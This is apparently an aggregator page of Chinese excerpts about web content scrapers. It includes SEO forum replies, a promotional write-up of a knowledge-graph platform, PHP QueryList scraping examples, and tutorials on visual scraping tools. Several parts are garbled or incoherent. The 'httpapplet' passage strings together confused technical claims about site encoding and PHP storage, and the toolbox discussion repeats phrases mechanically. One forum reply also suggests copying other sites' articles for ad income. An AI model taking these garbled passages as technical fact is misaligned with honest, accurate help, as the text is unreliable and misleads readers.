　　站點(diǎn)的用戶(hù)群體是那類(lèi)人？用戶(hù)目標不同就不同了
　　采集別人站點(diǎn)文章，然后找一些小網(wǎng)站投放廣告唄，做廣告比站點(diǎn)搬運容易。
　　
　　百度就知道好處
　　我覺(jué)得樓主想問(wèn)的并不是“站點(diǎn)把發(fā)外鏈賺來(lái)的錢(qián)給了誰(shuí)”，是想問(wèn)“一大堆站對一大堆站發(fā)布外鏈，
　　沒(méi)錢(qián)就比較難追
　　在通往理想的路上，常常碰到來(lái)自各種各樣的阻力，甚至有些外部力量的阻力是你無(wú)法左右的，可以說(shuō)就是你想追求的目標是什么？外鏈？那就更多的外鏈。
　　對于百度蜘蛛來(lái)說(shuō)外鏈是沒(méi)有用的
　　給錢(qián)
　　
　　你不投錢(qián)百度自己就會(huì )給你
　　都是自己的關(guān)鍵詞排名不在第一
　　站采集是賺錢(qián)的，
　　謝邀，
　　站內推廣技術(shù)
　　采集技術(shù)高
　　樓主的意思是百度會(huì )限制非頭部出現在前面吧？那就只能是靠廣告，roi的高低，google會(huì )限制非頭部出現在第一頁(yè)就能看到別人的seo結果。 查看全部

　　科技創(chuàng )新|態(tài)極數據經(jīng)緯時(shí)空知識管理（四）
　　04
　　時(shí)空知識圖譜構建案例
　　態(tài)極數據經(jīng)緯智能知識管理平臺DFKM是時(shí)空知識圖的“智能”數據平臺：融合領(lǐng)域地上、地下時(shí)空基準網(wǎng)與感知數據統管共用和多源感知終端為“時(shí)空一張圖”，構建時(shí)空人工智能大模型，實(shí)現時(shí)空智能問(wèn)答、時(shí)空智能推薦及時(shí)空智能分析，可作為時(shí)空人工智能、數字孿生的數據融合知識發(fā)現平臺。
　　數據源：數據源由TransSpider網(wǎng)頁(yè)采集器進(jìn)行采集,主要采集51job等招聘網(wǎng)站的招聘崗位數據。
　　構建過(guò)程：
　　1、TransSpider 網(wǎng)頁(yè)采集器配置,爬取51job招聘網(wǎng)站信息；
　　2、爬取數據預處理成為指定csv格式；
　　3、概念設計創(chuàng )建本體,本體屬性,關(guān)系,關(guān)系規則創(chuàng )建資源目錄，并上傳文件；
　　4、創(chuàng )建資源字段對應的資源字段；
　　5、創(chuàng )建提取規則(實(shí)體提取,實(shí)體特征提取,關(guān)系提取,關(guān)系特征提取)；
　　6、新建提取任務(wù) 。
　　應用場(chǎng)景參考：
　　1、基于用戶(hù)掌握的專(zhuān)業(yè)技能進(jìn)行崗位的推薦；
　　2、基于能力圖譜構建專(zhuān)業(yè)領(lǐng)域的知識問(wèn)題系統；
　　3、通過(guò)引入知識圖譜中的實(shí)體以及實(shí)體的描述信息豐富語(yǔ)義，優(yōu)化信息檢索模型，可靈活支持各類(lèi)實(shí)體搜索，讓人才搜索更便捷，更智能；
　　4、基于龐大的知識圖譜和數據支持，針對職位的市場(chǎng)人才數據情況進(jìn)行洞察，招聘前先掌握人才市場(chǎng)分布情況，薪資情況。
　　數據源：數據源OSM地圖數據轉換文件、百度交通擁堵數據、氣象數據；
　　構建過(guò)程：
　　1、源數據采集，通過(guò)TransDFKM的DCA進(jìn)行對源數據進(jìn)行接入；
　　2、對接入數據根據圖譜構建的概念進(jìn)行對數據分析，對數據拆解為本體數據、本體特征數據、關(guān)系數據、關(guān)系特征數據等；
　　3、將分析后的數據根據分析結果對數據進(jìn)行相應的預處理，形成KEE數據輸入源；
　　4、使用TransDFKM的TransStudio工作臺進(jìn)行模型構建（本體創(chuàng )建、本體分類(lèi)特征創(chuàng )建、關(guān)系規則創(chuàng )建、關(guān)系特征分類(lèi)創(chuàng )建）；
　　
　　5、使用TransDFKM的TransStudio工作臺進(jìn)新KEE提取任務(wù)設置（創(chuàng )建資源目錄，并上傳文件，創(chuàng )建資源字段對應的資源字段，創(chuàng )建提取規則【實(shí)體提取,實(shí)體特征提取,關(guān)系提取,關(guān)系特征提取】，新建提取任務(wù)）。
　　應用場(chǎng)景參考：
　　1、道路網(wǎng)絡(luò )360畫(huà)像 ；
　　2、交通網(wǎng)絡(luò )流預測；
　　3、道路網(wǎng)絡(luò )的動(dòng)力學(xué)傳播分析；
　　4、道路網(wǎng)瓶頸路段分析；
　　5、路網(wǎng)交通流分配分析；
　　6、交通需求社區結構及交互特性；
　　7、交通需求熱點(diǎn)發(fā)現；
　　8、交通需求空間自相關(guān)性；
　　數據源：賽文交通網(wǎng)公眾號；
　　構建過(guò)程：
　　1、使用爬蟲(chóng)引擎爬取互聯(lián)網(wǎng)數據轉換為文檔文件或通過(guò)人工手動(dòng)進(jìn)行上傳文檔數據；
　　2、將收集的文檔數據進(jìn)行統一存儲；
　　3、通過(guò)界面設置提取任務(wù),上傳轉換后的docx文檔進(jìn)行數據提取并設置任務(wù)發(fā)布狀態(tài)為自動(dòng)發(fā)布或者關(guān)閉自動(dòng)發(fā)布或者通過(guò)監控引擎監控新的文檔進(jìn)行任務(wù)的自動(dòng)構建；
　　4、通過(guò)智能文檔提取引擎將數據提取至開(kāi)發(fā)圖數據庫；
　　5、未開(kāi)啟自動(dòng)發(fā)布時(shí)人工校驗數據,校驗不合格返回到提取任務(wù)提取,進(jìn)行新版本數據提取，校驗合格后手動(dòng)進(jìn)行數據發(fā)布；
　　6、開(kāi)啟自動(dòng)發(fā)布,數據在提取完成后直接提取到發(fā)布到生產(chǎn)圖數據庫中。
　　應用場(chǎng)景參考：
　　1、下一個(gè)詞的建議：可以考慮當前一個(gè)或任意數量的先前單詞來(lái)建議下一個(gè)單詞；
　　2、高級搜索引擎：當我們擁有單詞的順序以及它們之間的依賴(lài)關(guān)系的信息時(shí)，可以實(shí)現高級搜索功能，其中除了檢查單詞的確切順序之外，還可以考慮某些單詞在我們的目標之間的情況并提供一些建議；
　　3、基于內容的推薦：通過(guò)將文本分解成組件，可以比較項目描述（產(chǎn)品等）
　　
　　以圖網(wǎng)絡(luò )的形式表示時(shí)空數據和非結構化文檔信息，提供了統一且靈活的隱藏在數據中時(shí)空知識的探索模式。
　　05
　　TransDFKM 應用場(chǎng)景
　　基于對人、車(chē)、路、地、物、事的時(shí)空感知、數據管理和智能分析能力，打造基于個(gè)體行為模型的可計算全息路網(wǎng)的數字交通智能數據底座平臺，支持精準、實(shí)時(shí)、全面的數字交通場(chǎng)景應用，實(shí)現能感知、有知識、可進(jìn)化、 會(huì )做事的綜合交通運輸大數據支撐體系。
　　實(shí)時(shí)交通孿生仿真-交通態(tài)勢實(shí)時(shí)感知：采集感知數據->集成接入->數據經(jīng)緯智能知識管理平臺->時(shí)空知識圖譜->三維實(shí)景引擎->三維可視化，良好網(wǎng)絡(luò )情況下，可達100毫秒時(shí)延。
　　實(shí)現了接近90%準確率的交通流預測，全網(wǎng)路段單次預測未來(lái)12小時(shí)耗時(shí)僅2.324ms
　　廈門(mén)市思明區西北部路網(wǎng)
　　坐標范圍：118.077°24.464° 118.108° 24.482°
　　原始法構建道路路網(wǎng)（直接利用態(tài)極時(shí)空知識圖譜的道路網(wǎng)絡(luò )子圖譜）
　　236 路段進(jìn)行路網(wǎng)空間特征
　　流量特征（車(chē)速）提取，直接抽取態(tài)極時(shí)空知識圖譜的路段流量特征數據（靜態(tài)關(guān)系動(dòng)態(tài)特征）
　　交通流預測模型：時(shí)空圖卷積神經(jīng)網(wǎng)絡(luò )（Graph WaveNet）
　　交通流預測——預測結果對比（2020.06.24-2020.06.26）
　　基于微內容的原子知識管理 查看全部

　　網(wǎng)站內容采集器plugin是用一些javascript開(kāi)發(fā)的，獲取整站內容存儲的
　　網(wǎng)站內容采集器plugin是用一些javascript開(kāi)發(fā)的，獲取整站內容存儲的。具體使用方法，我就不詳細給你介紹了，可以看我的上一篇文章。獲取整站內容的網(wǎng)站可以分為以下幾種：基于httpapplet的網(wǎng)站plugin基于svn的網(wǎng)站plugin基于jsscript的網(wǎng)站plugin基于iis的網(wǎng)站plugin基于xml等文件的網(wǎng)站plugin這一類(lèi)還包括很多名字，大多使用javascript進(jìn)行網(wǎng)站內容編碼，如json，jpg，javascriptxml，xmlxml文件。
　　
　　httpapplet，簡(jiǎn)單來(lái)說(shuō)就是基于webkit和javascript引擎的網(wǎng)站采集器。通過(guò)這種方式，我們可以直接從本地文件中去爬取并下載。通過(guò)httpapplet的爬取機制，可以高效的獲取網(wǎng)站內容。這類(lèi)網(wǎng)站會(huì )把所有url編碼為字符串形式，在保存文件時(shí)將其轉為php或者其他語(yǔ)言形式保存。網(wǎng)站內容編碼轉換php保存xmlxml文件網(wǎng)站內容保存成index.php樣式后查看httpapplet爬取器支持基于字符編碼的http協(xié)議http協(xié)議使用apache作為內核，所以具體如何編碼http，請自行百度相關(guān)文章。
　　
　　文件編碼不支持大多數主流語(yǔ)言編碼。網(wǎng)站模塊目前開(kāi)發(fā)的基于xml文件生成的plugin也可以保存網(wǎng)站編碼問(wèn)題。php文件保存到本地后，通過(guò)xml解析器，我們可以根據需要獲取相應的網(wǎng)站內容，保存為xml格式。在進(jìn)行查看的時(shí)候，我們可以通過(guò)post保存到本地，這樣我們可以即時(shí)看到相應的網(wǎng)站內容，也可以方便的通過(guò)瀏覽器，直接查看即時(shí)內容。
　　phphttpparser如果對http協(xié)議不太了解，可以看我之前寫(xiě)的文章。http_parser什么時(shí)候需要加一個(gè)filter方法？為什么不能簡(jiǎn)單粗暴的保存http不加filter的xml文件？httpparser生成xml格式的網(wǎng)站內容我們之前提到過(guò)，可以通過(guò)反向代理地址尋找網(wǎng)站并保存；可以通過(guò)http代理的地址去獲取相應網(wǎng)站內容。如果你需要得到一個(gè)代理服務(wù)器的地址，那么保存它就是一個(gè)有意義的事情。 查看全部

　　網(wǎng)站內容采集器與站長(cháng)工具箱差不多怎么辦
　　網(wǎng)站內容采集器一般來(lái)說(shuō)和seo工具差不多。站長(cháng)工具箱會(huì )經(jīng)常更新。
　　目前只做了seo工具箱，站長(cháng)寶包含很多seo工具，主要還是資源整合方面。
　　社交工具：推他
　　現在主要在用站長(cháng)工具箱
　　網(wǎng)站內容采集器也有站長(cháng)工具箱這個(gè)工具的，
　　
　　網(wǎng)站內容采集器
　　站長(cháng)工具箱蠻好用的
　　推薦網(wǎng)站內容采集器
　　站長(cháng)工具箱很好用，
　　站長(cháng)工具箱不錯，
　　站長(cháng)工具箱挺好用的。
　　
　　站長(cháng)工具箱，內容采集站采集干貨，挺好用的。
　　站長(cháng)工具箱
　　網(wǎng)站內容采集器與站長(cháng)工具箱差不多，主要功能是資源整合，主要應用于站長(cháng)、seo新手。其他軟件也有，需要的話(huà)可以自己去判斷。
　　站長(cháng)工具箱不錯，資源整合性較強，采集整合干貨，頁(yè)面文章查看，然后再統計頁(yè)面分析需要的條件。
　　站長(cháng)工具箱資源整合比較強，站長(cháng)工具箱的話(huà)以站長(cháng)得賬號管理為主，站長(cháng)工具箱主要以站長(cháng)得賬號管理和站長(cháng)首頁(yè)干貨為主，資源整合多用于站長(cháng)工具箱，站長(cháng)工具箱一般站長(cháng)工具箱和站長(cháng)一起推出了，站長(cháng)工具箱以站長(cháng)服務(wù)為主的站長(cháng)工具箱。
　　站長(cháng)工具箱，資源整合很方便，
　　站長(cháng)工具箱不錯 查看全部

　　網(wǎng)站內容采集器的成功和失敗來(lái)明確應用的意義
　　網(wǎng)站內容采集器又稱(chēng)“百度采集器”，網(wǎng)站內容采集工具是通過(guò)公開(kāi)的內容采集源來(lái)采集網(wǎng)站上的內容，提供商業(yè)模式盈利的采集器應用。這類(lèi)工具與工具集不同于正規的采集器集。很多工具采集工具大多數是收費的，采集源的質(zhì)量也很難得到保證。采集的內容與網(wǎng)站的內容幾乎是無(wú)關(guān)的。分析某種采集方式的成功和失敗來(lái)明確應用這一采集工具是有意義的。
　　成功案例：某品牌企業(yè)的產(chǎn)品管理以及銷(xiāo)售，尋找資源，包括直接和間接方式獲取合適的渠道客戶(hù)，統一資源管理，統一進(jìn)行產(chǎn)品和公司管理的分析。企業(yè)銷(xiāo)售業(yè)績(jì)提升，取得精準的社會(huì )化傳播渠道并穩步增長(cháng)。發(fā)現問(wèn)題和機會(huì )：管理人員擔心采集內容導致類(lèi)似的內容流入其他公司，導致對原創(chuàng )內容的不尊重。利用市場(chǎng)競爭對手的優(yōu)勢特色，提高產(chǎn)品價(jià)值。
　　
　　1個(gè)采集工具：googlethunderbird2個(gè)采集軟件：weiziradio做好決策：1內容采集器公司找到您后，咨詢(xún)了解您的需求，了解您的業(yè)務(wù)，進(jìn)而評估您的需求，看您的經(jīng)濟條件是否能承受采集量，產(chǎn)品價(jià)格等。2選擇做這種銷(xiāo)售模式，是否在未來(lái)有良好的現金流。我公司研發(fā)團隊小編教你從零開(kāi)始入門(mén)采集工具應用，他是這樣做的。
　　從市場(chǎng)營(yíng)銷(xiāo)角度來(lái)說(shuō)，銷(xiāo)售過(guò)程就是客戶(hù)先購買(mǎi)產(chǎn)品，才能幫助企業(yè)完成銷(xiāo)售工作。銷(xiāo)售人員：（采集工具銷(xiāo)售人員）。
　　1、客戶(hù)在哪里？這要看你是哪個(gè)行業(yè)的采集工具，有些是說(shuō)這產(chǎn)品能夠幫助您根據網(wǎng)頁(yè)生成的圖片采集內容，當用戶(hù)點(diǎn)擊該鏈接進(jìn)入后，用戶(hù)是通過(guò)瀏覽器或者app搜索，將您的內容抓取，然后進(jìn)行“內容營(yíng)銷(xiāo)”。如果遇到生成圖片流量比較小或者怎么關(guān)鍵詞都無(wú)法搜索到的頁(yè)面或者企業(yè)公司都無(wú)法說(shuō)清的頁(yè)面，又或者客戶(hù)搜索內容和您采集的內容不一致，我們就無(wú)法做采集工作。
　　
　　2、采集哪個(gè)渠道？盡量選擇上游公司或者官方或者當地企業(yè)、政府機構、發(fā)行部門(mén)等。另外有些采集軟件會(huì )采集非法的圖片或者音頻。每天抓取的圖片越多，效果越差，直接影響點(diǎn)擊率和數據庫庫存，所以采集工具應該盡量抓取上游公司或者官方，他們在不能提供明確價(jià)值給客戶(hù)前，不對外推薦，他們推薦，讓他們認為有利潤、會(huì )有大量需求，抓取的質(zhì)量和時(shí)間可控。如果您經(jīng)濟條件允許，我們非常歡迎能夠收購。
　　3、采集量和采集時(shí)間？這個(gè)不好估計，我們一般從0.1-10萬(wàn)之間，我們收購的是單篇圖片。如果您要抓取時(shí)間段，我們就采集全國，全國統一個(gè)頻道統一抓取，抓取的時(shí)間間隔大于兩個(gè)小時(shí)。每個(gè)采集軟件要統一開(kāi)發(fā)程序或者換不同的抓取軟件。
　　4、哪里定價(jià)？收購哪個(gè)公司不是目的，最終目的是要提供給客戶(hù)一個(gè)方便， 查看全部

　　【教程】使用優(yōu)采云采集器軟件爬取網(wǎng)頁(yè)數據
　　地圖可視化離不開(kāi)數據的支撐，很多人苦于無(wú)法獲取數據或者不知道怎么獲取數據，可能很多人聽(tīng)說(shuō)過(guò)“爬蟲(chóng)”，也聽(tīng)說(shuō)過(guò)通過(guò)Python來(lái)“寫(xiě)爬蟲(chóng)”，畢竟這是獲取網(wǎng)頁(yè)數據的主要手段之一。但是對于很多不熟悉Python語(yǔ)言的人來(lái)說(shuō)，“寫(xiě)爬蟲(chóng)”的技術(shù)難度高，學(xué)習過(guò)程耗時(shí)。今天，我們將介紹一個(gè)數據采集軟件——優(yōu)采云采集器，并提供一個(gè)簡(jiǎn)要使用教程，使您無(wú)需編寫(xiě)代碼就可以爬取網(wǎng)頁(yè)數據。
　　在開(kāi)始收集數據前，我們需進(jìn)去優(yōu)采云采集器官網(wǎng)，下載軟件并安裝。網(wǎng)址：，可點(diǎn)擊左下“閱讀原文”可直接訪(fǎng)問(wèn)。
　　爬取網(wǎng)頁(yè)數據的步驟：
　　1.打開(kāi)優(yōu)采云采集器。
　　2.新建分組：菜單欄“開(kāi)始”，點(diǎn)擊新建分組，輸入采集網(wǎng)站名稱(chēng)為分組名稱(chēng)，（通常在“采網(wǎng)址”和“采內容”選項下打勾）。
　　3.新建任務(wù)：選擇新建的分組，點(diǎn)擊“新建任務(wù)”或者鼠標右鍵選擇“新建任務(wù)”，進(jìn)入到新建頁(yè)面。任務(wù)規則名為采集的對象名。新建任務(wù)界面中，包含四個(gè)步驟：網(wǎng)址采集規則、內容采集規則、內容發(fā)布規則和其他設置。
　　4．添加網(wǎng)址
　　
　　第一步：網(wǎng)址采集規則
　　查看需爬取網(wǎng)址的特點(diǎn)，選擇起始網(wǎng)址的添加方式（普通網(wǎng)址、批量網(wǎng)址、文本導入和數據庫導入）。點(diǎn)擊起始網(wǎng)址任務(wù)條中的“向導編輯”，在網(wǎng)址格式中添加地址，確定即可。本例選取北京市安居客小區網(wǎng)址為例，經(jīng)觀(guān)察測試可知，網(wǎng)頁(yè)的網(wǎng)址出現規律，選擇批量網(wǎng)址。
　　回到“網(wǎng)址采集規則”頁(yè)面，設置起始網(wǎng)址就是內容頁(yè)網(wǎng)址，并給“任務(wù)規則名”命名。網(wǎng)頁(yè)。
　　第二步：內容采集規則
　　打開(kāi)北京安居客網(wǎng)址，F12或（Fn+F12），點(diǎn)擊鼠標選取方式。通過(guò)鼠標依次點(diǎn)小區名稱(chēng)、小區地址以及當月價(jià)格等網(wǎng)頁(yè)中所需要的信息對應的位置，獲取相關(guān)代碼，鼠標右鍵，復制選擇。
　　根據這些HTML內容和自己需要的內容，在標簽列表中，點(diǎn)擊操作任務(wù)欄中的“添加”來(lái)增加新的標簽，或者點(diǎn)擊已有的標簽，進(jìn)行修改。在標簽編輯欄中，標簽提取方式有前后截取、正則提取、正文提取等方式。數據處理對話(huà)框中，文件下載中的數據支持圖片、flash等文件。
　　*號為所需要采集的參數。
　　
　　輸入網(wǎng)頁(yè)網(wǎng)址，測試結果。
　　測試結果無(wú)誤后，選擇數據保存。注意：保存文件時(shí)，模板設置一定要與收集的數據字段一致。
　　運行。
　　結果查看。
　　優(yōu)采云采集器不僅僅可以采集網(wǎng)頁(yè)數據，還可以基于A(yíng)PI進(jìn)行數據采集。大家不妨操作試試，定會(huì )有不一樣的收獲（楊慧測試、撰寫(xiě)）。 查看全部

　　[精選] PHP也是可以用來(lái)做異步爬取數據的
　　$ql?=?QueryList::getInstance();<br style="outline: 0px;" /><br style="outline: 0px;" />//綁定一個(gè)myHttp方法到QueryList對象<br style="outline: 0px;" />$ql->bind('myHttp',function?($url){<br style="outline: 0px;" />????$html?=?file_get_contents($url);<br style="outline: 0px;" />????$this->setHtml($html);<br style="outline: 0px;" />????return?$this;<br style="outline: 0px;" />});<br style="outline: 0px;" /><br style="outline: 0px;" />//然后就可以通過(guò)注冊的名字來(lái)調用<br style="outline: 0px;" />$data?=?$ql->myHttp('https://toutiao.io')->find('h3?a')->texts();<br style="outline: 0px;" />print_r($data->all());<br style="outline: 0px;" />
　　或者把實(shí)現體封裝到class，然后這樣綁定:
　　$ql->bind('myHttp',function?($url){<br style="outline: 0px;" />????return?new?MyHttp($this,$url);<br style="outline: 0px;" />});<br style="outline: 0px;" />
　　插件使用
　　使用CURL多線(xiàn)程插件,多線(xiàn)程采集GitHub排行榜:
　　$ql?=?QueryList::use(CurlMulti::class);<br style="outline: 0px;" />$ql->curlMulti([<br style="outline: 0px;" />????'https://github.com/trending/php',<br style="outline: 0px;" />????'https://github.com/trending/go',<br style="outline: 0px;" />????//.....more?urls<br style="outline: 0px;" />])<br style="outline: 0px;" />?//?每個(gè)任務(wù)成功完成調用此回調<br style="outline: 0px;" />?->success(function?(QueryList?$ql,CurlMulti?$curl,$r){<br style="outline: 0px;" />????echo?"Current?url:{$r['info']['url']}?\r\n";<br style="outline: 0px;" />????$data?=?$ql->find('h3?a')->texts();<br style="outline: 0px;" />????print_r($data->all());<br style="outline: 0px;" />})<br style="outline: 0px;" />?//?每個(gè)任務(wù)失敗回調<br style="outline: 0px;" />->error(function?($errorInfo,CurlMulti?$curl){<br style="outline: 0px;" />????echo?"Current?url:{$errorInfo['info']['url']}?\r\n";<br style="outline: 0px;" />????print_r($errorInfo['error']);<br style="outline: 0px;" />})<br style="outline: 0px;" />->start([<br style="outline: 0px;" />????//?最大并發(fā)數<br style="outline: 0px;" />????'maxThread'?=>?10,<br style="outline: 0px;" />????//?錯誤重試次數<br style="outline: 0px;" />????'maxTry'?=>?3,<br style="outline: 0px;" />]);<br style="outline: 0px;" />
　　更多詳細請查看GitHub：
　　讓你更好的學(xué)習php爬蟲(chóng)，小編推薦一套視頻教程【ThinkPHP6+Querylist實(shí)戰開(kāi)發(fā)】希望以后你們能用得著(zhù)。
　　獲取地址：
　　課程目錄
　　課時(shí)1 實(shí)戰實(shí)錄 tp6開(kāi)發(fā)PHP手冊統計項目 - 介紹09:29
　　課時(shí)2【實(shí)戰實(shí)錄】PHP手冊統計-項目分析09:45
　　
　　課時(shí)3【實(shí)戰實(shí)錄】PHP手冊統計用querylist采集08:56
　　課時(shí)4 PHP手冊統計獲取到了一個(gè)文件的所屬上級04:22
　　課時(shí)5 PHP手冊統計建立表對接15040個(gè)頁(yè)面10:01
　　課時(shí)6 PHP手冊統計完成15037個(gè)頁(yè)面名稱(chēng)存入數據庫05:58
　　課時(shí)7 完成了除包含php字符的對應目錄的入庫12:03
　　課時(shí)8 初步實(shí)現和了解了php手冊各欄目的頁(yè)面數量12:20
　　課時(shí)9 v1.0版上線(xiàn)源碼可以通過(guò)github查看通過(guò)composer安裝06:25
　　課時(shí)10 入門(mén)php的cli命令行模式 即使獲得進(jìn)度13:14
　　課時(shí)11 正式進(jìn)入v2.0版本 cli模式作為主要運行對象09:30
　　課時(shí)12 實(shí)現了一級目錄的數據量統計11:26
　　課時(shí)13 重寫(xiě)了一個(gè)激動(dòng)人心的采集規則22:26
　　課時(shí)14 針對目錄不一致問(wèn)題 增加字段統計比對05:16
　　
　　課時(shí)15 應用遞歸實(shí)現從文件獲取其完整目錄12:27
　　課時(shí)16 通過(guò)遞歸補齊沒(méi)有path的文件17:01
　　課時(shí)17 用遞歸排查完成總數不一致問(wèn)題08:10
　　課時(shí)18 用遞歸完成了基本tree樹(shù)形分類(lèi)14:49
　　課時(shí)19 完成前端tree樹(shù)形分類(lèi)用zTree實(shí)現08:10
　　課時(shí)20 完成前端11個(gè)欄目的樹(shù)形分類(lèi)11:41
　　課時(shí)21 第一版完可以預覽子目錄數量的目錄完成07:16
　　課時(shí)22 第一版完可以預覽子目錄數量的目錄完成07:16
　　課時(shí)23 完成第一套完整的統計帶統計分析的php手冊12:50
　　課時(shí)24 統計結果html上線(xiàn)gitee直接瀏覽07:26
　　課時(shí)25 PHP手冊統計項目 - 總結
　　文章來(lái)自：
　　END 查看全部

　　淺析通用爬蟲(chóng)軟件—— 集搜客與優(yōu)采云采集器
　　大 數 據 人
　　報道DT時(shí)代應用資訊及動(dòng)態(tài)，爆料剖析行業(yè)熱點(diǎn)新聞
　　最近想用爬蟲(chóng)軟件來(lái)采集網(wǎng)頁(yè)上的一些數據，根據百度的推薦以及相關(guān)關(guān)鍵詞查詢(xún)，找到了兩款軟件：“集搜客”和“優(yōu)采云”，兩款軟件都有可視化界面，對于編程思維比較薄弱的用戶(hù)來(lái)說(shuō)，這兩款軟件上手容易，操作簡(jiǎn)單易懂。今天就帶大家來(lái)了解對比一下這兩款通用的網(wǎng)絡(luò )爬蟲(chóng)軟件。
　　1.軟件安裝
　　優(yōu)采云：優(yōu)采云安裝跟其他獨立軟件一樣，從官網(wǎng)下載，直接點(diǎn)擊setup.exe安裝。
　　集搜客：集搜客網(wǎng)站上下載的軟件也是一個(gè)自解壓exe程序，雙擊啟動(dòng)安裝，看到的是火狐瀏覽器安裝過(guò)程，原來(lái)集搜客軟件是作為火狐插件發(fā)布的。
　　2.軟件界面布局
　　優(yōu)采云：優(yōu)采云的界面布局可以歸為指引型界面，用戶(hù)進(jìn)入軟件界面可以看到軟件使用提示信息，如圖一所示，包括向導模式與高級模式，同時(shí)列出了學(xué)習資源，采集規則，數據下載等等。對于初次使用的用戶(hù)來(lái)說(shuō)，起到了很好的指引作用。
　　圖一：優(yōu)采云操作界面展示
　　集搜客：集搜客軟件分成兩個(gè)操作界面，MS謀數臺(圖2)和DS打數機(圖3)，謀數臺負責制定規則（網(wǎng)頁(yè)標注），打數機負責采集數據（網(wǎng)絡(luò )爬蟲(chóng)），一個(gè)謀、一個(gè)打，聽(tīng)起來(lái)還是比較符合其特征。集搜客啟動(dòng)后的界面沒(méi)有顯示使用幫助資源，而是位于“幫助”菜單中。
　　圖2：集搜客謀數臺界面
　　
　　圖3：集搜客打數機界面
　　3.操作流程
　　優(yōu)采云：優(yōu)采云的操作流程主要分為4個(gè)步驟(如圖4所示)，分別為：
　　設置基本信息、設計工作流程、設置采集選項、完成。
　　圖4：優(yōu)采云操作流程
　　圖5：優(yōu)采云設計流程
　　集搜客：集搜客的操作沒(méi)有流程的概念，似乎定義采集規則可以不遵守既定操作順序，而是有一個(gè)要領(lǐng)“建立一個(gè)箱子，把你要的內容摘進(jìn)去”。所以我們稱(chēng)之為4“塊”操作(如圖6所示)：包括命名主題、創(chuàng )建整理箱、規劃爬蟲(chóng)路線(xiàn)和定義連續動(dòng)作。
　　圖6：集搜客的4塊功能
　　綜上所述，優(yōu)采云的工作流程特征十分明顯，用戶(hù)決定軟件怎樣動(dòng)作，什么時(shí)候動(dòng)作，動(dòng)作施加給哪里，從哪里采集內容等。而集搜客想讓用戶(hù)專(zhuān)注于摘什么數據，如果用戶(hù)在摘取以外還想擴展范圍那就定義爬蟲(chóng)路線(xiàn)，如果還想做些動(dòng)作那就定義連續動(dòng)作，整個(gè)流程細節用戶(hù)不用關(guān)心。
　　4.數據存儲方式
　　優(yōu)采云：優(yōu)采云分成單機運行和云采集，數據導出支持EXCEL、SQL、TXT等常用格式。
　　集搜客：集搜客沒(méi)有云采集，因為爬蟲(chóng)都在用戶(hù)自己電腦上跑，用戶(hù)想把爬蟲(chóng)放云上那是用戶(hù)自己的事。跑下來(lái)的數據以XML格式存儲，可見(jiàn)這是一種中間結果，集搜客官網(wǎng)提供了XML轉EXCEL的工具，也在會(huì )員中心提供了基于云存儲的數據導入和清洗功能，入庫后可以導出成EXCEL格式。
　　5.收費模式
　　優(yōu)采云：簡(jiǎn)單來(lái)說(shuō)是一種軟件銷(xiāo)售模式（不排除免費版），除此之外用戶(hù)下規則要積分，跑數據也要積分，而積分可以用錢(qián)購買(mǎi)或者參與社區活動(dòng)換積分。
　　集搜客：集搜客簡(jiǎn)單來(lái)說(shuō)是一種服務(wù)收費模式，軟件功能全部免費，如果需要一些爬蟲(chóng)管理和數據管理的服務(wù)，則根據服務(wù)類(lèi)型、數量和時(shí)間進(jìn)行收費。同樣，下載規則要積分，如果使用云存儲，根據存儲量和存儲時(shí)間收費。積分同樣也可以用錢(qián)購買(mǎi)，或者參與社區活動(dòng)賺積分。 查看全部

　　瑞翼工坊——優(yōu)采云采集器基礎操作
　　瑞翼工坊——優(yōu)采云采集器基礎操作
　　2018年11月21日晚19：00，曙光瑞翼大數據學(xué)院瑞翼工坊—專(zhuān)業(yè)學(xué)生“對話(huà)式”教學(xué)研討第十三次活動(dòng)，在廣西師范學(xué)院五合校區理綜樓815機房開(kāi)展。本期主題為“優(yōu)采云采集器基礎操作”，由助教沈皓主講，讓我們學(xué)會(huì )了數據采集的基礎。
　　優(yōu)采云數據采集系統以完全自主研發(fā)的分布式云計算平臺為核心，可以在很短的時(shí)間內，輕松從各種不同的網(wǎng)站或者網(wǎng)頁(yè)獲取大量的規范化數據，幫助任何需要從網(wǎng)頁(yè)獲取信息的客戶(hù)實(shí)現數據自動(dòng)化采集，編輯，規范化，擺脫對人工搜索及收集數據的依賴(lài)，從而降低獲取信息的成本，提高效率。下面讓我們一起來(lái)學(xué)習優(yōu)采云采集器的五個(gè)基本操作吧！
　　第一個(gè)，單網(wǎng)頁(yè)信息采集——提取新聞信息
　　該操作主要分為兩個(gè)步驟。第一步，打開(kāi)網(wǎng)頁(yè)：大家可以先登陸優(yōu)采云采集器，點(diǎn)擊左上角+圖標，選擇自定義采集，然后輸入網(wǎng)址（如：），點(diǎn)擊保存，在網(wǎng)頁(yè)打開(kāi)后，我們可以對任務(wù)名進(jìn)行修改，不修改則默認以網(wǎng)頁(yè)標題命名。在運行采集前可隨時(shí)修改任務(wù)名。第二步，提取數據：首先在網(wǎng)頁(yè)中，直接選中需要提取的數據。如：提取新聞標題、時(shí)間、正文。然后點(diǎn)擊保存并開(kāi)始運行采集。
　　第二個(gè)，創(chuàng )建循環(huán)列表
　　該操作有兩種方法。第一種方法，我們可以在輸入網(wǎng)址打開(kāi)網(wǎng)頁(yè)以后，鼠標選中文章料表中第一個(gè)鏈接，右面的提示框中會(huì )提示發(fā)現同類(lèi)的元素，可以一起選中所有同類(lèi)的元素。第二種方法，打開(kāi)網(wǎng)頁(yè)以后，選中第一個(gè)以后不能按照提示選中全部，需要選中右下角的擴大選項標識，才能選中其他想要的元素。然后選項的元素就擴充到第一行所有元素，再選擇提示框中“選中子元素”，系統就可以識別出其他相似元素。最后選擇提示框中的“選中全部”就可以把表中的所有數據都選中了。
　　第三個(gè)，采集單網(wǎng)頁(yè)列表詳細信息
　　步驟一，打開(kāi)網(wǎng)頁(yè)，步驟二，循環(huán)點(diǎn)擊元素。首先我們可以點(diǎn)擊第一個(gè)電影標題“ 肖申克救贖”鏈接，再選擇“選中全部”選項，最后選擇“循環(huán)點(diǎn)擊每個(gè)鏈接”選項。步驟三，提取數據。點(diǎn)擊頁(yè)面中要提取的電影 劇情 字段，選擇“采集該元素的文本”。步驟四：修改字段名稱(chēng)。先點(diǎn)擊“流程”，后修改字段名稱(chēng)，再點(diǎn)擊“確定”保存。步驟五：采集并導出數據。依次點(diǎn)擊“保存”，“開(kāi)始采集”，啟動(dòng)“本地采集”，“導出數據”選擇導出方式。
　　第四個(gè)，采集分頁(yè)列表信息
